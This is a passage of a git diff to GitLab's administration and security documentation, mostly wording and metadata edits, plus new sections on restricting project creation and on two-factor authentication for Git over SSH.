https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Listing repository directories **(CORE ONLY)** diff --git a/doc/raketasks/maintenance.md b/doc/raketasks/maintenance.md index f554a09d94d..b6d530256a7 100644 --- a/doc/raketasks/maintenance.md +++ b/doc/raketasks/maintenance.md @@ -3,3 +3,6 @@ redirect_to: '../administration/raketasks/maintenance.md' --- This document was moved to [another location](../administration/raketasks/maintenance.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/raketasks/migrate_snippets.md b/doc/raketasks/migrate_snippets.md index e36ad5184ad..8050a8a38e5 100644 --- a/doc/raketasks/migrate_snippets.md +++ b/doc/raketasks/migrate_snippets.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migration to Versioned Snippets **(CORE ONLY)** diff --git a/doc/raketasks/spdx.md b/doc/raketasks/spdx.md index 19ec0397179..fe7ac13c463 100644 --- a/doc/raketasks/spdx.md +++ b/doc/raketasks/spdx.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SPDX license list import **(PREMIUM ONLY)** diff --git a/doc/raketasks/user_management.md b/doc/raketasks/user_management.md index a0a880eac51..6df978b2efd 100644 --- a/doc/raketasks/user_management.md +++ b/doc/raketasks/user_management.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # User management **(CORE ONLY)** @@ -58,9 +58,23 @@ sudo gitlab-rake gitlab:import:all_users_to_all_groups bundle exec rake gitlab:import:all_users_to_all_groups RAILS_ENV=production ``` -Admin users are added as owners so they can add additional users to the group. +Administrators are added as owners so they can add additional users to the group. -## Control the number of active users +## Update all users in a given group to `project_limit:0` and `can_create_group: false` + +To update all users in given group to `project_limit: 0` and `can_create_group: false`, run: + +```shell +# omnibus-gitlab +sudo gitlab-rake gitlab:user_management:disable_project_and_group_creation\[:group_id\] + +# installation from source +bundle exec rake gitlab:user_management:disable_project_and_group_creation\[:group_id\] RAILS_ENV=production +``` + +It updates all users in the given group, its subgroups and projects in this group namespace, with the noted limits. + +## Control the number of billable users Enable this setting to keep new users blocked until they have been cleared by the administrator. Defaults to `false`: @@ -72,7 +86,7 @@ block_auto_created_users: false ## Disable two-factor authentication for all users This task disables two-factor authentication (2FA) for all users that have it enabled. This can be -useful if GitLab's `config/secrets.yml` file has been lost and users are unable +useful if the GitLab `config/secrets.yml` file has been lost and users are unable to log in, for example. To disable two-factor authentication for all users, run: @@ -98,11 +112,11 @@ the leaked key without forcing all users to change their 2FA details. To rotate the two-factor authentication encryption key: 1. Look up the old key. This is in the `config/secrets.yml` file, but **make sure you're working - with the production section**. The line you're interested in will look like this: + with the production section**. The line you're interested in looks like this: ```yaml production: - otp_key_base: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff + otp_key_base: fffffffffffffffffffffffffffffffffffffffffffffff ``` 1. Generate a new secret: @@ -130,7 +144,7 @@ To rotate the two-factor authentication encryption key: ``` The `<old key>` value can be read from `config/secrets.yml` (`<new key>` was - generated earlier). The **encrypted** values for the user 2FA secrets will be + generated earlier). The **encrypted** values for the user 2FA secrets are written to the specified `filename`. You can use this to rollback in case of error. diff --git a/doc/raketasks/web_hooks.md b/doc/raketasks/web_hooks.md index 769a5ebae3a..1f40c60e23d 100644 --- a/doc/raketasks/web_hooks.md +++ b/doc/raketasks/web_hooks.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Webhooks administration **(CORE ONLY)** diff --git a/doc/raketasks/x509_signatures.md b/doc/raketasks/x509_signatures.md index 79770a56808..a98f0af8cd8 100644 --- a/doc/raketasks/x509_signatures.md +++ b/doc/raketasks/x509_signatures.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # X.509 signatures **(CORE ONLY)** diff --git a/doc/security/README.md b/doc/security/README.md index a8947ef3de9..3b64d0229ed 100644 --- a/doc/security/README.md +++ b/doc/security/README.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- diff --git a/doc/security/asset_proxy.md b/doc/security/asset_proxy.md index 7eb6d5067e2..613743143d3 100644 --- a/doc/security/asset_proxy.md +++ b/doc/security/asset_proxy.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Proxying assets @@ -10,7 +10,7 @@ A possible security concern when managing a public facing GitLab instance is the ability to steal a users IP address by referencing images in issues, comments, etc. For example, adding `` to -an issue description will cause the image to be loaded from the external +an issue description causes the image to be loaded from the external server in order to be displayed. However, this also allows the external server to log the IP address of the user. @@ -51,7 +51,7 @@ To install a Camo server as an asset proxy: | `asset_proxy_enabled` | Enable proxying of assets. If enabled, requires: `asset_proxy_url`). | | `asset_proxy_secret_key` | Shared secret with the asset proxy server. | | `asset_proxy_url` | URL of the asset proxy server. | - | `asset_proxy_whitelist` | Assets that match these domain(s) will NOT be proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. | + | `asset_proxy_whitelist` | Assets that match these domain(s) are NOT proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. | 1. Restart the server for the changes to take effect. Each time you change any values for the asset proxy, you need to restart the server. @@ -59,7 +59,7 @@ To install a Camo server as an asset proxy: ## Using the Camo server Once the Camo server is running and you've enabled the GitLab settings, any image, video, or audio that -references an external source will get proxied to the Camo server. +references an external source are proxied to the Camo server. For example, the following is a link to an image in Markdown: diff --git a/doc/security/cicd_environment_variables.md b/doc/security/cicd_environment_variables.md index b8fe14e2d3b..4d60df8e531 100644 --- a/doc/security/cicd_environment_variables.md +++ b/doc/security/cicd_environment_variables.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # CI/CD Environment Variables diff --git a/doc/security/crime_vulnerability.md b/doc/security/crime_vulnerability.md index 4571f0051d8..c5f8afe36ad 100644 --- a/doc/security/crime_vulnerability.md +++ b/doc/security/crime_vulnerability.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/security/information_exclusivity.md b/doc/security/information_exclusivity.md index a8c4a4e878e..a2571895e45 100644 --- a/doc/security/information_exclusivity.md +++ b/doc/security/information_exclusivity.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts --- diff --git a/doc/security/password_length_limits.md b/doc/security/password_length_limits.md index b8d329ab342..05ddb0a2823 100644 --- a/doc/security/password_length_limits.md +++ b/doc/security/password_length_limits.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- diff --git a/doc/security/password_storage.md b/doc/security/password_storage.md index ca4d350dc06..ca39defe6b9 100644 --- a/doc/security/password_storage.md +++ b/doc/security/password_storage.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/security/passwords_for_integrated_authentication_methods.md b/doc/security/passwords_for_integrated_authentication_methods.md index 4872f26a0ad..9b1664f0e8c 100644 --- a/doc/security/passwords_for_integrated_authentication_methods.md +++ b/doc/security/passwords_for_integrated_authentication_methods.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/security/project_import_decompressed_archive_size_limits.md b/doc/security/project_import_decompressed_archive_size_limits.md index 9e50290afcc..e37191d842f 100644 --- a/doc/security/project_import_decompressed_archive_size_limits.md +++ b/doc/security/project_import_decompressed_archive_size_limits.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- diff --git a/doc/security/rack_attack.md b/doc/security/rack_attack.md index a84ecc8e47d..f159b4f8e21 100644 --- a/doc/security/rack_attack.md +++ b/doc/security/rack_attack.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -19,12 +19,12 @@ tracking. For more information on how to use these options see the [Rack Attack README](https://github.com/kickstarter/rack-attack/blob/master/README.md). -NOTE: **Note:** +NOTE: See [User and IP rate limits](../user/admin_area/settings/user_and_ip_rate_limits.md) for simpler limits that are configured in the UI. -NOTE: **Note:** +NOTE: Starting with GitLab 11.2, Rack Attack is disabled by default. If your instance is not exposed to the public internet, it is recommended that you leave Rack Attack disabled. @@ -32,10 +32,10 @@ Rack Attack disabled. ## Behavior If set up as described in the [Settings](#settings) section below, two behaviors -will be enabled: +are enabled: -- Protected paths will be throttled. -- Failed authentications for Git and container registry requests will trigger a temporary IP ban. +- Protected paths are throttled. +- Failed authentications for Git and container registry requests trigger a temporary IP ban. ### Protected paths throttle @@ -119,7 +119,7 @@ The following settings can be configured: specified time. - `findtime`: The maximum amount of time that failed requests can count against an IP before it's blacklisted (in seconds). -- `bantime`: The total amount of time that a blacklisted IP will be blocked (in +- `bantime`: The total amount of time that a blacklisted IP is blocked (in seconds). **Installations from source** @@ -142,8 +142,8 @@ taken in order to enable protection for your GitLab instance: If you want more restrictive/relaxed throttle rules, edit `config/initializers/rack_attack.rb` and change the `limit` or `period` values. -For example, more relaxed throttle rules will be if you set -`limit: 3` and `period: 1.seconds` (this will allow 3 requests per second). +For example, you can set more relaxed throttle rules with +`limit: 3` and `period: 1.seconds`, allowing 3 requests per second. You can also add other paths to the protected list by adding to `paths_to_be_protected` variable. If you change any of these settings you must restart your GitLab instance. @@ -185,10 +185,10 @@ In case you want to remove a blocked IP, follow these steps: ### Rack attack is blacklisting the load balancer Rack Attack may block your load balancer if all traffic appears to come from -the load balancer. In that case, you will need to: +the load balancer. In that case, you must: 1. [Configure `nginx[real_ip_trusted_addresses]`](https://docs.gitlab.com/omnibus/settings/nginx.html#configuring-gitlab-trusted_proxies-and-the-nginx-real_ip-module). - This will keep users' IPs from being listed as the load balancer IPs. + This keeps users' IPs from being listed as the load balancer IPs. 1. Whitelist the load balancer's IP address(es) in the Rack Attack [settings](#settings). 1. Reconfigure GitLab: diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md index 94cc446c804..500ec057102 100644 --- a/doc/security/rate_limits.md +++ b/doc/security/rate_limits.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- # Rate limits -NOTE: **Note:** +NOTE: For GitLab.com, please see [GitLab.com-specific rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits). diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md index 66e11587e96..fc808452736 100644 --- a/doc/security/reset_user_password.md +++ b/doc/security/reset_user_password.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -58,7 +58,7 @@ user.save! Exit the console, and then try to sign in with your new password. -NOTE: **Note:** +NOTE: You can also reset passwords by using the [Users API](../api/users.md#user-modification). ### Reset your root password diff --git a/doc/security/ssh_keys_restrictions.md b/doc/security/ssh_keys_restrictions.md index 903a28136ad..102ba1fc370 100644 --- a/doc/security/ssh_keys_restrictions.md +++ b/doc/security/ssh_keys_restrictions.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Restrict allowed SSH key technologies and minimum length diff --git a/doc/security/two_factor_authentication.md b/doc/security/two_factor_authentication.md index 27cc2474b8a..4911cf63489 100644 --- a/doc/security/two_factor_authentication.md +++ b/doc/security/two_factor_authentication.md @@ -2,7 +2,7 @@ type: howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Enforce Two-factor Authentication (2FA) @@ -72,7 +72,7 @@ The following are important notes about 2FA: ## Disabling 2FA for everyone -CAUTION: **Caution:** +WARNING: Disabling 2FA for everyone does not disable the [enforce 2FA for all users](#enforcing-2fa-for-all-users) or [enforce 2FA for all users in a group](#enforcing-2fa-for-all-users-in-a-group) settings. In addition to the steps in this section, you will need to disable any enforced 2FA @@ -94,7 +94,7 @@ sudo gitlab-rake gitlab:two_factor:disable_for_all_users sudo -u git -H bundle exec rake gitlab:two_factor:disable_for_all_users RAILS_ENV=production ``` -CAUTION: **Caution:** +WARNING: This is a permanent and irreversible action. Users will have to reactivate 2FA from scratch if they want to use it again. @@ -109,3 +109,43 @@ questions that you know someone might ask. Each scenario can be a third-level heading, e.g. `### Getting error message X`. If you have none to add when creating a doc, leave this section in place but commented out to help encourage others to add to it in the future. --> + +## Two-factor Authentication (2FA) for Git over SSH operations + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270554) in GitLab 13.7. +> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-two-factor-authentication-2fa-for-git-operations). + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +Two-factor authentication can be enforced for Git over SSH operations. The OTP +verification can be done via a GitLab Shell command: + +```shell +ssh git@<hostname> 2fa_verify +``` + +Once the OTP is verified, Git over SSH operations can be used for 15 minutes +with the associated SSH key. + +### Enable or disable Two-factor Authentication (2FA) for Git operations + +Two-factor Authentication (2FA) for Git operations is under development and not +ready for production use. It is deployed behind a feature flag that is +**disabled by default**. [GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:two_factor_for_cli) +``` + +To disable it: + +```ruby +Feature.disable(:two_factor_for_cli) +``` diff --git a/doc/security/unlock_user.md b/doc/security/unlock_user.md index 4013bfb7cae..2a26b71071b 100644 --- a/doc/security/unlock_user.md +++ b/doc/security/unlock_user.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/security/user_email_confirmation.md b/doc/security/user_email_confirmation.md index 6260c76bff9..cf7cb0ea4cb 100644 --- a/doc/security/user_email_confirmation.md +++ b/doc/security/user_email_confirmation.md @@ -2,7 +2,7 @@ type: howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # User email confirmation at sign-up diff --git a/doc/security/user_file_uploads.md b/doc/security/user_file_uploads.md index 662e115d1ed..bce2aeb88b4 100644 --- a/doc/security/user_file_uploads.md +++ b/doc/security/user_file_uploads.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # User File Uploads @@ -18,7 +18,7 @@ notification emails, which are often read from email clients that are not authenticated with GitLab, such as Outlook, Apple Mail, or the Mail app on your mobile device. -NOTE: **Note:** +NOTE: Non-image attachments do require authentication to be viewed. <!-- ## Troubleshooting diff --git a/doc/security/webhooks.md b/doc/security/webhooks.md index 2e2fb093916..0bb8e90d38f 100644 --- a/doc/security/webhooks.md +++ b/doc/security/webhooks.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, reference, howto --- # Webhooks and insecure internal web services -NOTE: **Note:** +NOTE: On GitLab.com, the [maximum number of webhooks and their size](../user/gitlab_com/index.md#webhooks) per project, and per group, is limited. If you have non-GitLab web services running on your GitLab server or within its @@ -40,9 +40,9 @@ to endpoints like `http://localhost:123/some-resource/delete`. To prevent this type of exploitation from happening, starting with GitLab 10.6, all Webhook requests to the current GitLab instance server address and/or in a -private network will be forbidden by default. That means that all requests made +private network are forbidden by default. That means that all requests made to `127.0.0.1`, `::1` and `0.0.0.0`, as well as IPv4 `10.0.0.0/8`, `172.16.0.0/12`, -`192.168.0.0/16` and IPv6 site-local (`ffc0::/10`) addresses won't be allowed. +`192.168.0.0/16` and IPv6 site-local (`ffc0::/10`) addresses aren't allowed. This behavior can be overridden by enabling the option *"Allow requests to the local network from web hooks and services"* in the *"Outbound requests"* section @@ -50,7 +50,7 @@ inside the **Admin Area > Settings** (`/admin/application_settings/network`):  -NOTE: **Note:** +NOTE: *System hooks* are enabled to make requests to local network by default since they are set up by administrators. However, you can turn this off by disabling the **Allow requests to the local network from system hooks** option. @@ -75,9 +75,9 @@ The allowlist can hold a maximum of 1000 entries. Each entry can be a maximum of 255 characters. You can allow a particular port by specifying it in the allowlist entry. -For example `127.0.0.1:8080` will only allow connections to port 8080 on `127.0.0.1`. +For example `127.0.0.1:8080` only allows connections to port 8080 on `127.0.0.1`. If no port is mentioned, all ports on that IP/domain are allowed. An IP range -will allow all ports on all IPs in that range. +allows all ports on all IPs in that range. Example: @@ -90,7 +90,7 @@ example.com;gitlab.example.com example.com:8080 ``` -NOTE: **Note:** +NOTE: Wildcards (`*.example.com`) are not currently supported. <!-- ## Troubleshooting diff --git a/doc/ssh/README.md b/doc/ssh/README.md index 9d851edb688..f34e38fb7ca 100644 --- a/doc/ssh/README.md +++ b/doc/ssh/README.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto, reference --- @@ -44,7 +44,7 @@ GitLab supports the use of RSA, DSA, ECDSA, and ED25519 keys. - GitLab has [deprecated](https://about.gitlab.com/releases/2018/06/22/gitlab-11-0-released/#support-for-dsa-ssh-keys) DSA keys in GitLab 11.0. - As noted in [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-ecdsa), the security issues related to DSA also apply to ECDSA. -TIP: **Tip:** +NOTE: Available documentation suggests that ED25519 is more secure. If you use an RSA key, the US National Institute of Science and Technology in [Publication 800-57 Part 3 (PDF)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf) recommends a key size of at least 2048 bits. Therefore, our documentation focuses on the use of ED25519 and RSA keys. @@ -121,7 +121,7 @@ Enter file in which to save the key (/home/user/.ssh/id_rsa): For guidance, proceed to the [common steps](#common-steps-for-generating-an-ssh-key-pair). -NOTE: **Note:** +NOTE: If you have OpenSSH version 7.8 or below, consider the problems associated with [encoding](#rsa-keys-and-openssh-from-versions-65-to-78). @@ -183,7 +183,7 @@ the following command: ssh-keygen -o -t rsa -b 4096 -C "email@example.com" ``` -NOTE: **Note:** +NOTE: As noted in the `ssh-keygen` man page, ED25519 already encrypts keys to the more secure OpenSSH format. @@ -215,7 +215,7 @@ Now you can copy the SSH key you created to your GitLab account. To do so, follo If you're using an RSA key, substitute accordingly. -1. Navigate to `https://gitlab.com` and sign in. +1. Navigate to `https://gitlab.com` or your local GitLab instance URL and sign in. 1. Select your avatar in the upper right corner, and click **Settings** 1. Click **SSH Keys**. 1. Paste the public key that you copied into the **Key** text box. @@ -228,14 +228,20 @@ SSH keys that have "expired" using this procedure are valid in GitLab workflows. As the GitLab-configured expiration date is not included in the SSH key itself, you can still export public SSH keys as needed. -NOTE: **Note:** +NOTE: If you manually copied your public SSH key make sure you copied the entire key starting with `ssh-ed25519` (or `ssh-rsa`) and ending with your email address. +## Two-factor Authentication (2FA) + +You can set up two-factor authentication (2FA) for +[Git over SSH](../security/two_factor_authentication.md#two-factor-authentication-2fa-for-git-over-ssh-operations). + ## Testing that everything is set up correctly -To test whether your SSH key was added correctly, run the following command in -your terminal (replacing `gitlab.com` with your GitLab's instance domain): +To test whether your SSH key was added correctly, run the following +command in your terminal (replace `gitlab.com` with the domain of +your GitLab instance): ```shell ssh -T git@gitlab.com @@ -253,15 +259,15 @@ Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'gitlab.com' (ECDSA) to the list of known hosts. ``` -NOTE: **Note:** +NOTE: For GitLab.com, consult the [SSH host keys fingerprints](../user/gitlab_com/index.md#ssh-host-keys-fingerprints), section to make sure you're connecting to the correct server. For example, you can see the ECDSA key fingerprint shown above in the linked section. Once added to the list of known hosts, you should validate the -authenticity of GitLab's host again. Run the above command once more, and -you should only receive a _Welcome to GitLab, `@username`!_ message. +authenticity of the GitLab host, once again. Run the above command +again, and you should receive a _Welcome to GitLab, `@username`!_ message. If the welcome message doesn't appear, you can troubleshoot the problem by running `ssh` in verbose mode with the following command: @@ -324,7 +330,7 @@ due to how SSH assembles `IdentityFile` entries and is not changed by setting `IdentitiesOnly` to `yes`. `IdentityFile` entries should point to the private key of an SSH key pair. -NOTE: **Note:** +NOTE: Private and public keys should be readable by the user only. Accomplish this on Linux and macOS by running: `chmod 0400 ~/.ssh/<example_ssh_key>` and `chmod 0400 ~/.ssh/<example_sh_key.pub>`. @@ -343,7 +349,7 @@ Host <user_2.gitlab.com> IdentityFile ~/.ssh/<example_ssh_key2> ``` -NOTE: **Note:** +NOTE: The example `Host` aliases are defined as `user_1.gitlab.com` and `user_2.gitlab.com` for efficiency and transparency. Advanced configurations are more difficult to maintain; using this type of alias makes it easier to diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md index a03c8e758de..7dd08da74f9 100644 --- a/doc/subscriptions/gitlab_com/index.md +++ b/doc/subscriptions/gitlab_com/index.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: fulfillment +group: fulfillment +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, reference --- @@ -11,7 +11,7 @@ GitLab.com is GitLab Inc.'s software-as-a-service offering. You don't need to install anything to use GitLab.com, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. -In this page we'll go through the details of your GitLab.com subscription. +This page reviews the details of your GitLab.com subscription. ## Choose a GitLab.com group or personal subscription @@ -20,10 +20,12 @@ On GitLab.com you can apply a subscription to either a group or a personal names When applied to: - A **group**, the group, all subgroups, and all projects under the selected - group on GitLab.com will have the features of the associated tier. GitLab recommends + group on GitLab.com contains the features of the associated tier. GitLab recommends choosing a group plan when managing an organization's projects and users. -- A **personal userspace**, all projects will have features with the - subscription applied, but as it's not a group, group features won't be available. +- A **personal userspace**, all projects contain features with the + subscription applied, but as it's not a group, group features aren't available. + +You can read more about [common misconceptions](https://about.gitlab.com/handbook/marketing/strategic-marketing/enablement/dotcom-subscriptions/#common-misconceptions) regarding a GitLab.com subscription to help avoid issues. ## Choose a GitLab.com tier @@ -34,19 +36,19 @@ at each tier, see the ## Choose the number of users -NOTE: **Note:** +NOTE: Applied only to groups. A GitLab.com subscription uses a concurrent (_seat_) model. You pay for a subscription according to the maximum number of users enabled at once. You can add and remove users during the subscription period, as long as the total users -at any given time is within your subscription count. +at any given time doesn't exceed the subscription count. Every occupied seat is counted in the subscription, with the following exception: - Members with Guest permissions on a Gold subscription. -TIP: **Tip:** +NOTE: To support the open source community and encourage the development of open source projects, GitLab grants access to **Gold** features for all GitLab.com **public** projects, regardless of the subscription. @@ -64,7 +66,7 @@ To subscribe to GitLab.com: [Customers Portal](https://customers.gitlab.com/). 1. Link your GitLab.com account with your Customers Portal account. Once a plan has been selected, if your account is not - already linked, you will be prompted to link your account with a + already linked, GitLab prompts you to link your account with a **Sign in to GitLab.com** button. 1. Select the namespace from the drop-down list to associate the subscription. 1. Proceed to checkout. @@ -81,12 +83,12 @@ To subscribe to GitLab.com: [Customers Portal](https://customers.gitlab.com/). 1. Link your GitLab.com account with your Customers Portal account. Once a plan has been selected, if your account is not - already linked, you will be prompted to link your account with a + already linked, GitLab prompts you to link your account with a **Sign in to GitLab.com** button. 1. Select the namespace from the drop-down list to associate the subscription. 1. Proceed to checkout. -TIP: **Tip:** +NOTE: You can also go to the [**My Account**](https://customers.gitlab.com/customers/edit) page to add or change the GitLab.com account link. @@ -97,9 +99,9 @@ to the **Billing** section of the relevant namespace: - **For individuals**: Visit the [billing page](https://gitlab.com/profile/billings) under your profile. -- **For groups**: From the group page (*not* from a project within the group), go to **Settings > Billing**. +- **For groups**: From the group page (*not* from a project in the group), go to **Settings > Billing**. - NOTE: **Note:** + NOTE: You must have Owner level [permissions](../../user/permissions.md) to view a group's billing page. The following table describes details of your subscription for groups: @@ -107,11 +109,12 @@ to the **Billing** section of the relevant namespace: | Field | Description | |-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------| | **Seats in subscription** | If this is a paid plan, represents the number of seats you've paid to support in your group. | - | **Seats currently in use** | Number of active seats currently in use. 